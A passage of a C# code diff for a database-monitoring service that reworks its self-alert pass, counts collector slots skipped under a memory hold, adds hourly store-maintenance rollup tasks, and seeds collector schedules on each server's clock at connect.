+    /// since this service started (#4757), because an unreachable server has stopped collecting, which is exactly the
+    /// case a headless service must page on; the evaluator judges its staleness from the later of the last success and
+    /// the service start, so a restart's stale rows do not false-alarm a healthy server, and capture-down only for a
+    /// connected one. The master alerts gate and the edge trigger live inside the evaluator. The custom-alert rules
+    /// (#3285) read the collected store, so they evaluate for a disconnected server too. One server's throw, or a
+    /// cancellation that is not the service shutting down, is logged and does not skip the rest.
+    /// </summary>
+    private async Task RunSelfAlertPassAsync(ServerLoopState[] targets, int sweepWidth, CancellationToken stoppingToken)
+    {
+        var started = Stopwatch.StartNew();
+        var options = new ParallelOptions
+        {
+            MaxDegreeOfParallelism = SelfAlertPassWidthFor(sweepWidth),
+            CancellationToken = stoppingToken,
+        };
+
+        await Parallel.ForEachAsync(targets, options, async (server, _) =>
+        {
+            if (server.Retired)
+            {
+                return;
+            }
+
+            try
+            {
+                if (StampIsDue(server.NextSelfAlertSweep, s_alertSweepInterval, DateTime.UtcNow))
+                {
+                    server.NextSelfAlertSweep = DateTime.UtcNow.Add(s_alertSweepInterval);
+                    if (SelfAlertServerOverride is { } evaluate)
+                    {
+                        await evaluate(server, stoppingToken);
+                    }
+                    else if (_selfAlerts is not null && _postgres is not null)
+                    {
+                        await _selfAlerts.EvaluateStoreAlertsAsync(
+                            _postgres,
+                            server.Config.ServerId,
+                            server.Config.DisplayName,
+                            connected: server.Runtime is not null,
+                            stoppingToken);
+                    }
+                }
+
+                if (_customAlertEvaluator is not null && StampIsDue(server.NextCustomAlertSweep, s_customAlertSweepInterval, DateTime.UtcNow))
+                {
+                    server.NextCustomAlertSweep = DateTime.UtcNow.Add(s_customAlertSweepInterval);
+                    await _customAlertEvaluator.EvaluateServerAsync(
+                        server.Config.ServerId,
+                        server.Config.StorageName,
+                        server.Config.DisplayName,
+                        stoppingToken);
+                }
+            }
+            catch (Exception ex) when (!stoppingToken.IsCancellationRequested)
+            {
+                /* Any exception that is not the service shutting down, a cancellation inside one server's evaluator
+                   included (the custom-alert evaluator rethrows every OperationCanceledException): log it and go on, so
+                   the servers after it are still evaluated and a repeating one cannot starve them. */
+                _logger.LogError(ex, "[{Server}] self-alert pass failed; the remaining servers are still evaluated", server.Config.DisplayName);
+            }
+        });
+
+        if (started.Elapsed > s_alertSweepInterval)
+        {
+            _logger.LogInformation(
+                "the per-server self-alert pass took {Elapsed:F1}s for {Servers} servers at {Width} at a time, longer than its {Cadence}s cadence",
+                started.Elapsed.TotalSeconds, targets.Length, options.MaxDegreeOfParallelism, s_alertSweepInterval.TotalSeconds);
+        }
+    }
+
+    /// <summary>
+    /// Counts the collector slots that came due while the memory launch guard held collection off (#5479), once each,
+    /// within a pass of their due time, and adds them to the fleet gate's skipped count: a held slot is a skipped slot. A
+    /// held pass launches no body, so without this the hour's count read "0 ran, 0 skipped" and Collection Falling Behind
+    /// cleared an hour into an outage. The due stamps do not move during a hold, so each (server, collector) keeps a
+    /// <see cref="HeldSlotMark"/> and <see cref="HeldSlots.Newly"/> adds only what came due since the last pass. The pass
+    /// that launches again raises the skip-credit floor first, so the first bodies count none of these a second time.
+    /// A server with a body still in flight is left to that body, which counts what it steps over. That leaves a gap
+    /// on purpose: a body in flight for the whole hold adds no held slots, and slots that collector loses after the
+    /// release, before that body reaches it, go uncounted by the hold. Counting them here would race the body's own
+    /// slot record, and Collection Stopped pages for a server that long without collecting, so the gap stays. Runs on
+    /// the sweep loop's thread. Returns the slots counted.
+    /// </summary>
+    internal long CountHeldSlots(ServerLoopState[] targets, DateTime nowUtc)
+    {
+        long counted = 0;
+        var floor = _skipCreditFloor.Floor;
+        foreach (var server in targets)
+        {
+            var runtime = server.Runtime;
+            if (runtime is null || server.Retired || server.InFlightSweep is { IsCompleted: false })
+            {
+                continue;
+            }
+
+            foreach (var name in CollectorScheduleDefaults.All.Keys)
+            {
+                /* The same filters RunDueCollectorsAsync puts before its slot count: a collector that does not run on this
+                   target, or is disabled, or has no stamp, has no slot to lose. */
+                if (!CollectorCatalog.EngineMatches(name, runtime.Target)
+                    || !CollectorCatalog.AppliesTo(name, runtime.Target))
+                {
+                    continue;
+                }
+
+                var effective = StoreConfigProvider.ResolveSchedule(name, runtime.ServerId, _scheduleOverrides);
+                if (!effective.Enabled || !server.NextDue.TryGetValue(name, out var due))
+                {
+                    continue;
+                }
+
+                var interval = TimeSpan.FromMinutes(CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(effective.FrequencyMinutes));
+
+                /* A grid collector's slot is lost when the next one comes due (what a late run steps over); a collector
+                   with a run time loses its day once the grace after the stamp has passed (StepRunTimeCollector). */
+                var serveWindow = effective.RunAtMinute is not null ? CollectorRunTime.Grace : interval;
+                server.HeldSlotMarks.TryGetValue(name, out var mark);
+                counted += HeldSlots.Newly(due, nowUtc, floor, interval, serveWindow, ref mark);
+                server.HeldSlotMarks[name] = mark;
+            }
+        }
+
+        _fleetGateStats?.RecordSkippedSlots(counted);
+        return counted;
+    }
+
+    /// <summary>
+    /// Wraps a tick delegate so the tracked task can never fault unobserved: nothing awaits it while it runs.
+    /// <see cref="OperationCanceledException"/> is the normal shutdown outcome and is swallowed.
+    /// </summary>
+    private async Task RunTrackedTickAsync(string name, Func<CancellationToken, Task> run, CancellationToken ct)
+    {
+        try
+        {
+            await run(ct);
+        }
+        catch (OperationCanceledException)
+        {
+            /* Expected on shutdown drain. */
+        }
+        catch (Exception ex)
+        {
+            _logger.LogError(ex, "{Tick} failed", name);
+        }
+    }
+
+    /// <summary>
+    /// The hourly store-maintenance tick's body: the availability re-probe, then compression job health,
+    /// retention re-evaluation and store-object convergence, moved out of the launch loop (#4970) unchanged.
+    /// </summary>
+    private async Task RunStoreMaintenanceTickAsync(CancellationToken stoppingToken)
+    {
+        /* #3815: the availability re-probe, and the one tenant of this tick that runs OUTSIDE the
+           _timescaleAvailable gate below — because it is the tenant that CORRECTS that flag. Behind
+           the gate it would be unreachable in exactly the state it exists for: a latch reading false
+           cannot be re-opened from inside the block the latch closes. That is why this tick's guard
+           is the due time alone and the flag moved down one level, and why the stamp is taken above
+           the probe rather than behind the flag — on a store whose latch reads false the due time
+           has to advance anyway, or the probe would fire on every 15-second sweep pass instead of
+           hourly.
+
+           The cost on a store that is genuinely plain PostgreSQL, a fully supported configuration
+           that must not be punished for it: one CREATE EXTENSION IF NOT EXISTS that fails, once an
+           hour, on a pooled connection, saying nothing above Debug. The only other thing this tick
+           runs for such a store is the store-object convergence pass's non-TimescaleDB steps (#3913,
+           the else branch below). */
+        if (!_timescaleAvailable)
+        {
+            await ReprobeTimescaleAvailabilityAsync(stoppingToken);
+        }
+
+        if (_timescaleAvailable)
+        {
+            await EvaluateCompressionJobHealthAsync(stoppingToken);
+
+            /* #3812: the retention coverage gate, re-judged on the RUNNING service. Until this line
+               the only thing that armed a held retention policy was the start-path ensure above, so
+               "the gate releases the hold by itself once the backfill covers raw" was true only after
+               a restart — a store on a stable build sat held indefinitely after a backfill that had
+               worked, with the Retention Held alert still firing and reading like the backfill had
+               failed. Same tick as the compression check (the constant's comment says why this cadence
+               and why this order), each half failure-isolated inside its own method with its own
+               catch, so a retention pass that throws or runs out its budget cannot skip the
+               compression read and a compression fault cannot skip the retention pass. The Retention
+               Held self-alert rides INSIDE the compression method and therefore reads the flags as
+               they stood before this pass: a policy armed here shows as held on this tick's alert read
+               and resolves on the next hour's, one tick of lag on the resolution edge that is stated
+               rather than traded for #3575's phase. The first pass after startup fires within seconds
+               of the start-path ensure (this stamp seeds at MinValue); that pass is deliberately not
+               skipped — its "Retention re-evaluation:" line is the proof the hourly path is wired on
+               this store, visible in the same log window an operator reads after a restart, and it
+               costs twenty catalog rows and twenty chunk-pruned min() reads.
+
+               THE HOURLY STORE-MAINTENANCE TICK, named. It is the home for every "we decided this at
+               startup and never re-decided it" defect on the store side: #3812 and #3815 are its
+               tenants, and #3816 (job self-heal covers compression only) and #3817 (store-object
+               convergence only at startup) are queued as further ones — not built here. The contract
+               a tenant signs: its own method, its own catch-all, awaited as its own statement in the
+               gated block AFTER the compression read (the #3575 phase argument on
+               s_compressionCheckInterval), in the order it appears; a new tenant is one more await
+               line below this one. A tenant that CORRECTS the gate is the single exception and signs a
+               different contract — it goes above the gate, not below the compression read, because
+               inside it a false flag would block its own correction. #3815 is that case, and the gate
+               has exactly one input, so there is no second one to write. No delegate list yet,
+               deliberately — three tenants do not justify the indirection, and a list would hide the
+               order the phase argument depends on. */
+            await ReevaluateRetentionPoliciesAsync(stoppingToken);
+
+            /* #3817: the FOURTH tenant, and the one that signs the contract the comment above spells
+               out — its own method, its own catch-all, one awaited statement, LAST. The store-object
+               convergence pass: every idempotent ensure the start path runs, re-run here, so one
+               failed item heals within the hour instead of at the next restart. It is last for the
+               same #3575 reason the retention pass is third: the compression read must sample the job
+               catalog at :30 past the minute, and this pass — the heaviest of the four on a store
+               that is NOT converged — must not be ahead of it pushing that sample toward the :MM:00
+               instant the policies fire on. The ordering is pinned in RetentionReevaluationTests and
+               TimescaleAvailabilityReprobeTests, both of which now name four tenants.
+
+               Its first pass fires within seconds of the start-path pass (the tick's stamp seeds at
+               MinValue), and that is deliberate for the reason #3812 gives about its own: the
+               "Store object convergence:" line without the "at startup" prefix is the proof the
+               hourly path is wired on THIS store, in the same log window an operator reads after a
+               restart. On a converged store that pass costs catalog reads and two metadata ALTERs.
+
+               #5094: the FIFTH tenant, same contract — its own method, its own catch-all, one awaited
+               statement, LAST. The Query Store daily summary builder runs after the convergence pass
+               so a store that is still being converged is never made to build summaries first, and a
+               builder fault or an expired budget cannot skip any tenant above it. */
+            await ConvergeStoreObjectsAsync(stoppingToken);
+            await BuildQueryStoreTopDailyAsync(stoppingToken);
+        }
+        else
+        {
+            /* #3913: the same convergence pass on a store WITHOUT TimescaleDB, walking only the steps
+               that run on every store shape (the Ungated and Tuning stages the start path already
+               runs there): the baseline relations, the store's statement statistics, the composer's
+               covering indexes. Before this, nothing re-ran on such a store between restarts, so a
+               dropped fallback view, or an extension a DBA created by hand, waited for the next
+               start. None of the compression-phase reasoning above applies, since a store without
+               TimescaleDB has no policy jobs to sample. */
+            await ConvergeStoreObjectsAsync(stoppingToken, timescaleAvailable: false);
+        }
+
+        /* #5582: the ninth tenant, same contract - its own method, its own catch-all, one awaited statement. The exact stamp-grain
+           rollup of the wide Query Store table (V173) needs no TimescaleDB (its tables are plain and the wide table is a plain
+           partitioned table), so it sits outside the gate and runs on every store shape. It sits BEFORE the I/O rollup, not
+           after it: the pins keep the I/O rollup directly before the module-map refresh and the PLAN_REGRESSION builder, which
+           can run up to a 10-minute tick, as the last await. At most six hours a tick, so a fault or a slow build skips nothing. */
+        await BuildQueryStoreComposeStampAsync(stoppingToken);
+
+        /* #5495: the eighth tenant, same contract — its own method, its own catch-all, one awaited statement. The hourly
+           PostgreSQL I/O rollup needs no TimescaleDB (its tables are plain), so it sits outside the gate and runs on every
+           store shape. It sits BEFORE the module-map refresh and the PLAN_REGRESSION builder, not after them: the pins keep
+           the plan-regression builder, which can run up to a 10-minute tick, as the last await, with the refresh directly
+           before it, so the rollup (budget-bounded to 2 minutes) goes ahead of both and a fault in it skips nothing. */
+        await BuildPgIoStatsHourlyAsync(stoppingToken);
+
+        /* #4605: the sixth tenant, same contract — its own method, its own catch-all, one awaited statement.
+           It sits AFTER the gate rather than inside it because it needs no TimescaleDB: procedure_stats and
+           module_map are plain tables on every store shape, and the daily refresh already runs on all of them.
+           It comes after the gate and the I/O rollup so a store still being converged, or a summary builder that ran
+           out its budget, is never made to wait behind it, and a fault here skips nothing above. */
+        await RefreshModuleMapRecentAsync(stoppingToken);
+
+        /* #5448: the seventh tenant, same contract — its own method, its own catch-all, one awaited statement, LAST.
+           The PLAN_REGRESSION per-day totals builder needs no TimescaleDB either (collect.plan_regression_daily and
+           its built table are plain tables), so it sits outside the gate, directly after the module-map refresh: a builder
+           that runs out its budget never makes the cheaper tenants above it wait, and a fault here skips nothing. */
+        await BuildPlanRegressionDailyAsync(stoppingToken);
+    }
+
+    /// <summary>
+    /// The hourly store-maintenance tick's sixth tenant (#4605): the incremental module-map refresh, which keeps
+    /// the <c>collect.module_map</c> watermark within about an hour of procedure_stats so a reader can trust the
+    /// map up to it. Reads only the rows since the last watermark (<see cref="DarlingModuleMap.RefreshRecentAsync"/>),
+    /// failure-isolated inside that method and again here. Its own catch-all: nothing here can fail the tick.
+    /// </summary>
+    private async Task RefreshModuleMapRecentAsync(CancellationToken stoppingToken)
+    {
+        try
+        {
+            await using var connection = await _postgres!.OpenConnectionAsync(stoppingToken);
+            await DarlingModuleMap.RefreshRecentAsync(connection, _logger, stoppingToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            _logger.LogWarning("module_map hourly refresh could not run; the next hourly tick retries: {Message}", ex.Message);
+        }
+    }
+
+    /// <summary>
+    /// The hourly store-maintenance tick's eighth tenant (#5495): builds the hourly rollup of the differenced PostgreSQL I/O
+    /// counters that long <c>get_pg_io_stats</c> windows read, one failure-isolated pass (see
+    /// <see cref="PgIoStatsHourlyBuilder.RunTickAsync(NpgsqlDataSource, DateTime, ILogger, CancellationToken)"/>). The first pass after
+    /// the V170 upgrade is the fill, bounded by time (<see cref="PgIoStatsHourlyBuilder.TickBudget"/>). Its own catch-all: nothing here can fail the tick.
+    /// </summary>
+    private async Task BuildPgIoStatsHourlyAsync(CancellationToken stoppingToken)
+    {
+        try
+        {
+            await PgIoStatsHourlyBuilder.RunTickAsync(_postgres!, DateTime.UtcNow, _logger, stoppingToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            _logger.LogWarning("PostgreSQL I/O hourly rollup could not run; the next hourly tick retries: {Message}", ex.Message);
+        }
+    }
+    /// <summary>
+    /// The hourly store-maintenance tick's seventh tenant (#5448): builds the per-day per-plan totals PLAN_REGRESSION reads
+    /// for closed days, one failure-isolated pass (see <see cref="PlanRegressionDaily.RunTickAsync(NpgsqlDataSource, DateTime, ILogger, CancellationToken)"/>).
+    /// Its own catch-all: nothing here can fail the tick.
+    /// </summary>
+    private async Task BuildPlanRegressionDailyAsync(CancellationToken stoppingToken)
+    {
+        try
+        {
+            await PlanRegressionDaily.RunTickAsync(_postgres!, DateTime.UtcNow, _logger, stoppingToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            _logger.LogWarning("PLAN_REGRESSION daily totals could not run; the next hourly tick retries: {Message}", ex.Message);
+        }
+    }
+
+    /// <summary>
+    /// The hourly store-maintenance tick's ninth tenant (#5582): builds the exact stamp-grain rollup of the wide Query Store table that
+    /// the Query Store panels of the composer read for the hours before the last three, one failure-isolated pass (see
+    /// <see cref="QueryStoreComposeStamp.RunTickAsync(Npgsql.NpgsqlDataSource, DateTime, int, ILogger, CancellationToken)"/>). At most
+    /// <see cref="QueryStoreComposeStamp.MaxBuildsPerTick"/> hours per tick, stale hours first. Its own catch-all: nothing here can fail the tick.
     /// </summary>
-    internal CommandOutcome TryStartPurgeNow(
-        Func<CancellationToken, Task> startPurge, int? customRetentionDays, CancellationToken stoppingToken)
+    private async Task BuildQueryStoreComposeStampAsync(CancellationToken stoppingToken)
     {
-        DateTime startedAtUtc;
-        lock (_purgeTaskLock)
+        try
         {
-            if (_purgeTask is { IsCompleted: false })
-            {
-                _logger.LogInformation(
-                    "purge_now: a retention purge (the daily run, or an earlier purge_now) is already running — starting nothing");
-                return new CommandOutcome(
-                    true,
-                    "purge already running",
-                    JsonSerializer.Serialize(new { success = true, started = false, alreadyRunning = true, customRetentionDays }));
-            }
-
-            /* #4825: taken before the purge starts, so every record it writes is stamped at or after this. Naive
-               UTC (Kind Unspecified), the form collection_time is stored in. */
-            startedAtUtc = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
-            _purgeTask = RunTrackedAsync(startPurge, stoppingToken);
+            await QueryStoreComposeStamp.RunTickAsync(
+                _postgres!, DateTime.UtcNow, DarlingRetention.QueryStoreIntervalWideRetentionDays, _logger, stoppingToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            _logger.LogWarning("Query Store compose rollup could not run; the next hourly tick retries: {Message}", ex.Message);
         }
+    }
 
-        return new CommandOutcome(
-            true,
-            "purge started",
-            JsonSerializer.Serialize(new
-            {
-                success = true,
-                started = true,
-                customRetentionDays,
-                startedAtUtc = startedAtUtc.ToString("o", CultureInfo.InvariantCulture),
-            }));
+    /// <summary>
+    /// The hourly store-maintenance tick's fifth tenant (#5094): builds the per-day Query Store summary the
+    /// long windows of <c>get_query_store_top</c> will read, one failure-isolated pass (see
+    /// <see cref="QueryStoreTopDaily.RunTickAsync"/>). Its own catch-all: nothing here can fail the tick.
+    /// </summary>
+    private async Task BuildQueryStoreTopDailyAsync(CancellationToken stoppingToken)
+    {
+        try
+        {
+            await QueryStoreTopDaily.RunTickAsync(
+                _postgres!, DateTime.UtcNow, DarlingRetention.QueryStoreIntervalWideRetentionDays, _logger, stoppingToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            _logger.LogWarning("Query Store top daily summary could not run; the next hourly tick retries: {Message}", ex.Message);
+        }
     }
 
     /// <summary>
@@ -9684,11 +11963,15 @@ Empty overrides (Stage 1 seeds none) resolve to the defaults — identical behav
         /* #4823: the daily sweep paces its WAL. Its deletes used to run flat out and put 6.89 GB of WAL into
            one checkpoint interval, which stalled collection while that checkpoint caught up. This runs off
            the collection loop (_purgeTask), so a longer, paced purge delays nothing. */
-        await DarlingRetention.PurgeAsync(
+        var purgeSummary = await DarlingRetention.PurgeAsync(
             postgres, _timescaleAvailable, _logger, stoppingToken,
             name => StoreConfigProvider.ResolveFleetRetentionDays(name, overrides),
             config.PlanContentRetentionDays,
-            paceWal: true);
+            paceWal: true,
+            collectionPressure: _collectionPressure);
+
+        /* #5592: a pass the wall budget stopped brings the next scheduled pass forward to within the hour. */
+        NotePurgePassEnded(purgeSummary, DateTime.UtcNow);
 
         /* AN3: findings retention. Both apps' finding stores declare a cleanup but neither
            app schedules it (Lite's DuckDB archive-reset bounds it incidentally); a 24/7
@@ -9708,7 +11991,9 @@ provider the host owns and a locked file can never break the tick. */
         DarlingFileLoggerProvider.SweepOldFiles(DarlingFileLoggerProvider.DefaultLogDirectory());
 
         /* Keep the retained sql_handle->module map current (object_name attribution for old query_stats
-           CAGG windows). Rides the daily purge; failure-isolated inside RefreshAsync. */
+           CAGG windows). Rides the daily purge; failure-isolated inside RefreshAsync. #5519: with a watermark
+           it re-reads from DailyRepairSlack behind it, not a flat two days; that span is the repair for rows
+           the hourly path missed by committing more than WatermarkSlack late. */
         await using var moduleMapConnection = await postgres.OpenConnectionAsync(stoppingToken);
         await DarlingModuleMap.RefreshAsync(moduleMapConnection, _logger, stoppingToken);
 
@@ -9835,12 +12120,16 @@ internal async Task RunPurgeNowBackgroundAsync(
                 postgres, timescaleAvailable, _logger, stoppingToken, resolver,
                 config.PlanContentRetentionDays,
                 paceWal: true,
-                runLabel: runLabel);
+                runLabel: runLabel,
+                collectionPressure: _collectionPressure);
 
             _logger.LogInformation(
                 "{Label} purged {Tables} table(s), {Rows} row(s)/chunk(s)",
                 runLabel, summary.TablesPurged, summary.TotalPurged);
 
+            /* #5592: a manual pass the wall budget stopped leaves the same rows behind a scheduled one would. */
+            NotePurgePassEnded(summary, DateTime.UtcNow);
+
             /* #4427: the sweep above (DarlingRetention.PurgeAsync) no longer drops the three raw tables on a
                TimescaleDB store — they left its drop path entirely. purge_now must not go silent about them:
                run the SAME gated trigger the daily fleet-loop tick uses (TriggerRawPurgeCoreAsync), on a pooled
@@ -10313,6 +12602,13 @@ connection. A fault left standing here would classify the first post-reconnect r
                name databases the reconnect may have just fixed. */
             server.LongQueryTraceFault = null;
             server.LongQueryTracePartialNote = null;
+            server.LongQueryTraceAppliedKey = null;
+            server.LongQueryTraceAppliedAtUtc = null;
+            server.LongQueryTraceDropRetry.Reset();
+            /* #4964: and the create side's "already warned" state, so a failure after the reconnect is a new one. */
+            server.LongQueryTraceCreateWarned = false;
+            /* #4961: and the always-on sessions' clock, so the connect path ensures them and stamps it again. */
+            server.XeSessionsEnsuredAtUtc = null;
             /* Capture the id once, while the connection is freshly established and non-null: an on-load
                RunOneAsync below can drop server.Runtime on a mid-collection connection-level failure, so any
                later read of server.Runtime.ServerId (the schedule resolve, the connection edge) would NRE. */
@@ -10370,6 +12666,7 @@ collectors are engine-gated off anyway. Confirmed on a live PostgreSQL target. *
             if (runtime.Target.Engine == CollectorTargetEngine.SqlServer)
             {
                 await DarlingXeSessions.EnsureAllAsync(runtime, runner, _logger, cancellationToken);
+                server.XeSessionsEnsuredAtUtc = DateTime.UtcNow;
             }
 
             /* On-load config snapshots (effective FrequencyMinutes 0) run once per connect, then every
@@ -10380,7 +12677,13 @@ a collector disabled by an override is neither run on-load nor scheduled.
                These on-load runs are NOT under the per-server CollectionGate (unlike the scheduled sweep and
                snapshot_now). Safe today: this path only runs while Runtime is null, and a snapshot_now needs
                a non-null Runtime, so the two never overlap for one server. If TryConnect's timing ever changes
-               so a connect can race a snapshot, gate this loop too. */
+               so a connect can race a snapshot, gate this loop too.
+
+               #4999: they ARE under the per-(server, collector) slot a detached daily run holds, which the
+               CollectionGate never covered. The scheduled run of each on-load collector is detached and outlives its
+               pass, so a fault and a reconnect while that run is still going would start a second run beside it.
+               RunOnLoadAsync takes the slot for the run's length and leaves out a collector whose slot is held;
+               the next-due seeding below still happens for it. */
             var now = DateTime.UtcNow;
             /* #1575: seed each scheduled collector's first post-connect due time from its persisted last-run
                watermark so a restart RESUMES the real cadence instead of re-phasing it up to a full interval
@@ -10392,6 +12695,15 @@ watermark so a restart RESUMES the real cadence instead of re-phasing it up to a
                steady-state advance in RunDueCollectorsAsync stays on the exact interval. */
             var watermarks = await ReadCollectorWatermarksAsync(_postgres!, serverId, _logger, cancellationToken);
 
+            /* #4938: the server's own clock, read once here and held on the server's state, so a collector that has a run
+               time is seeded on this server's wall clock and no tick ever queries for it. A failed read keeps the clock
+               already held (UTC for a server seen the first time); the post-run refresh of server_properties and
+               pg_server_config (RunOneAsync) updates it as those rows arrive. */
+            if (await TryReadServerClockAsync(_postgres!, serverId, runtime.Target.Engine, _logger, cancellationToken) is { } connectClock)
+            {
+                server.Clock = connectClock;
+            }
+
             /* #4732: the first collector pass on this connection is the one the edit check exists for. */
             if (ConnectionIsStale())
             {
@@ -10430,10 +12742,7 @@ and extended to SQL Server with it (#2579). This loop runs on every connect and
 
                 if (effective.FrequencyMinutes == 0)
                 {
-                    /* null, not the live mark: the on-load dispatch is not a scheduled sweep body and
-                       never resets it, so folding it in would mix a previous body's bookkeeping
-                       into these rows - the cross-body contamination the reset exists to prevent. */
-                    await RunOneAsync(server, runner, name, peerMaxAtDispatchMs: null, cancellationToken);
+                    var ranAtConnect = await RunOnLoadAsync(server, runner, name, serverId, effective, cancellationToken);
 
                     /* #3929/#3930: ALSO becomes due again on CollectorScheduleDefaults.OnLoadRecaptureMinutes,
                        seeded from the SAME pre-dispatch watermark used below - the run just above updates it
@@ -10445,16 +12754,56 @@ its stale ON row (#3929) until the next reconnect. */
                     var onLoadInterval = CollectorScheduleDefaults.OnLoadRecaptureMinutes;
                     var onLoadLastRun = watermarks.TryGetValue(name, out var w0) ? w0 : (DateTime?)null;
                     var onLoadJitter = SeedJitter(serverId, onLoadInterval * 60);
-                    server.NextDue[name] = ComputeSeededNextDue(onLoadLastRun, onLoadInterval, now, onLoadJitter);
+                    if (effective.RunAtMinute is int onLoadRunAt)
+                    {
+                        SeedOnLoadRunTime(server, name, serverId, onLoadRunAt, onLoadInterval, ranAtConnect, onLoadLastRun);
+                    }
+                    else
+                    {
+                        lock (server.ScheduleLock)
+                        {
+                            server.RunTimeSlots.TryRemove(name, out _);
+                            server.NextDue[name] = ComputeSeededNextDue(onLoadLastRun, onLoadInterval, now, onLoadJitter);
+                        }
+                    }
                 }
                 else
                 {
                     var lastRun = watermarks.TryGetValue(name, out var w) ? w : (DateTime?)null;
                     var jitter = SeedJitter(serverId, effective.FrequencyMinutes * 60);
-                    server.NextDue[name] = ComputeSeededNextDue(lastRun, effective.FrequencyMinutes, now, jitter);
+
+                    /* #4938: with a run time the seed is the slot (ComputeSeededNextDue holds the rules), on this
+                       server's clock as read above; the slot's inputs are kept beside the stamp so a reload or a clock
+                       change computes it again from the same last run. */
+                    if (effective.RunAtMinute is int runAt)
+                    {
+                        var clock = server.Clock;
+                        lock (server.ScheduleLock)
+                        {
+                            /* #5033: a daily run of the previous connection can still be recording, so its last run counts. */
+                            server.RunTimeSlots.TryGetValue(name, out var heldSlot);
+                            var seedLastRun = Newer(heldSlot?.LastRunUtc, lastRun);
+                            server.NextDue[name] = ComputeSeededNextDue(
+                                seedLastRun, effective.FrequencyMinutes, now, jitter, new RunTimeRule(runAt, serverId, clock.ToUtc));
+                            server.RunTimeSlots[name] = new RunTimeSlot(runAt, effective.FrequencyMinutes, clock.Id, seedLastRun);
+                        }
+                    }
+                    else
+                    {
+                        lock (server.ScheduleLock)
+                        {
+                            server.RunTimeSlots.TryRemove(name, out _);
+                            server.NextDue[name] = ComputeSeededNextDue(lastRun, effective.FrequencyMinutes, now, jitter);
+                        }
+                    }
                 }
             }
 
+            /* #5597: every due stamp above was seeded from the clock read before the on-load runs, and this body is the
+               server's only body, so a slot that came due while it ran could not have run. Slots count as skipped from
+               here on (RunDueCollectorsAsync). The stamps themselves are not moved: when the first rows land is unchanged. */
+            Interlocked.Exchange(ref server.SeedFinishedTicks, DateTime.UtcNow.Ticks);
+
             /* Phase the first scheduled analysis over a SMALL fixed sub-2.5-minute window (#1553 jitter site 3):
                at a fleet restart every freshly connected server would otherwise become analysis-due in the same
                sweep, and with N=4 concurrency that clusters 4 analysis passes at once. A deterministic per-server
@@ -10526,7 +12875,78 @@ history does. */
         }
     }
 
-    private async Task RunDueCollectorsAsync(ServerLoopState server, DarlingCollectorRunner runner, CancellationToken cancellationToken)
+    /// <summary>
+    /// #4999: the at-connect run of ONE on-load collector (effective frequency 0), inline in
+    /// <see cref="TryConnectAsync"/>. Each on-load collector's SCHEDULED run is detached (its recapture is daily), and
+    /// a detached run outlives the pass that dispatched it: a fault and a reconnect while it is still going, or still
+    /// queued for a permit, brings this loop to the same collector. So the run takes the (server, collector) slot the
+    /// detached run holds (<see cref="TryTakeInlineDailySlot"/>), for its own length, and a collector whose slot is
+    /// held is left out: the run that holds it is already capturing, and it reads the connection the server has when
+    /// it starts. Left out costs nothing: the caller still seeds the collector's next due time. Internal so a test can
+    /// drive it with <see cref="RunOneBodyOverride"/> standing in for the collector run, because the connect path
+    /// itself needs a store.
+    /// </summary>
+    /// <param name="serverId">The id the connect captured, which stays valid after a run nulls the server's runtime.</param>
+    /// <param name="effective">The collector's effective schedule, resolved by the caller.</param>
+    /// <returns>True when the collector ran and succeeded; false when its slot was held or the run failed.</returns>
+    internal async Task<bool> RunOnLoadAsync(
+        ServerLoopState server, DarlingCollectorRunner runner, string collectorName, int serverId, EffectiveSchedule effective,
+        CancellationToken cancellationToken)
+    {
+        using var slot = TryTakeInlineDailySlot(serverId, collectorName, effective);
+        if (slot is null)
+        {
+            _logger.LogInformation(
+                "  [{Server}] {Collector} not run at connect: its scheduled daily run is still going (#4999)",
+                server.Config.DisplayName, collectorName);
+            return false;
+        }
+
+        /* null, not the live mark: the on-load dispatch is not a scheduled sweep body and
+           never resets it, so folding it in would mix a previous body's bookkeeping
+           into these rows - the cross-body contamination the reset exists to prevent. */
+        var runOutcome = new RunOutcome();
+        await RunOneAsync(server, runner, collectorName, peerMaxAtDispatchMs: null, cancellationToken, runOutcome: runOutcome);
+        return runOutcome.Succeeded;
+    }
+
+    /// <summary>
+    /// #4938: seeds an on-load collector's daily re-run when it has a run time. A run at connect that succeeded is the last
+    /// run: it counts for today when it fell at or after today's slot, and for the day before when it fell earlier, which
+    /// leaves today's slot owed. Seeded from the older mark instead, a connect inside the hour after the slot would run the
+    /// collector a second time within seconds. A run that failed, or never started because the scheduled run holds the slot,
+    /// is not a run: the slot is seeded from the last run on record, so it stays due inside its grace.
+    /// </summary>
+    internal void SeedOnLoadRunTime(
+        ServerLoopState server, string name, int serverId, int runAtMinute, int intervalMinutes, bool ranAtConnect, DateTime? watermark)
+    {
+        var jitter = SeedJitter(serverId, intervalMinutes * 60);
+        var clock = server.Clock;
+        var rule = new RunTimeRule(runAtMinute, serverId, clock.ToUtc);
+        var now = DateTime.UtcNow;
+        lock (server.ScheduleLock)
+        {
+            var lastRun = watermark;
+            if (ranAtConnect)
+            {
+                lastRun = now;
+            }
+            else if (server.RunTimeSlots.TryGetValue(name, out var held) && held.LastRunUtc is { } heldRun && (lastRun is null || heldRun > lastRun))
+            {
+                lastRun = heldRun;
+            }
+
+            server.NextDue[name] = ComputeSeededNextDue(lastRun, intervalMinutes, now, jitter, rule);
+            server.RunTimeSlots[name] = new RunTimeSlot(runAtMinute, intervalMinutes, clock.Id, lastRun);
+        }
+    }
+
+    /// <summary>
+    /// One server's scheduled collector pass: runs, or detaches, every collector that has come due. Internal
+    /// (#4938) so a test can drive the pass with <see cref="RunOneBodyOverride"/> standing in for the collector
+    /// runs; production calls it only from the per-server body.
+    /// </summary>
+    internal async Task RunDueCollectorsAsync(ServerLoopState server, DarlingCollectorRunner runner, CancellationToken cancellationToken)
     {
         var runtime = server.Runtime;
         if (runtime is null)
@@ -10615,26 +13035,111 @@ leaving a cleared trace flag with no later row to overwrite its stale ON one (#3
                 var interval = CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(effective.FrequencyMinutes);
                 var intervalSpan = TimeSpan.FromMinutes(interval);
 
